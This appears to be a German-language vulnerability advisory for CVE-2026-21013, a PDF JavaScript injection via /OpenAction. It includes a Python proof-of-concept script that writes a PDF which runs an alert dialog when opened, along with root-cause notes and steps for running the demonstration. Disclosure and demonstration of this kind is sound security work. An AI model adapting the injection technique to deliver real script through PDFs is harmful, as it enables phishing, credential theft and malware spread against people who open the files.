CVE-2026-21013 – PDF-JavaScript-Injektion über eingebettetes Skript

Programmcode (Python zum Erzeugen einer bösartigen PDF)

# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
    f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")

CVE-2026-21013 – PDF-JavaScript-Injektion über OpenAction

Übersicht

Ein PDF-Generator bereinigt benutzergelieferte Inhalte nicht, bevor er sie in die PDF-Datei einbettet. Ein Angreifer kann einen JavaScript-Eintrag /OpenAction injizieren, der beim Öffnen des Dokuments ausgeführt wird, was zu Cross-Site-Scripting (in Web-Viewern) oder lokaler Codeausführung (in Desktop-Readern mit voller JS-Unterstützung) führt.

Details zur Schwachstelle

• Typ: PDF-Injektion / Client-seitige Codeausführung
• Auswirkungen: Phishing, Diebstahl von Anmeldedaten, Verbreitung von Schadsoftware.
• Grundursache: Die PDF-Bibliothek bettet direkt vom Angreifer kontrollierte Zeichenfolgen ohne Escaping oder Validierung in die PDF-Struktur ein.

Exploit-Demonstration

Führen Sie den Generator aus:

python generate_pdf_js_inject.py

Öffnen Sie die resultierende malicious.pdf in einem PDF-Reader, der JavaScript unterstützt; ein Alert-Dialogfeld wird angezeigt.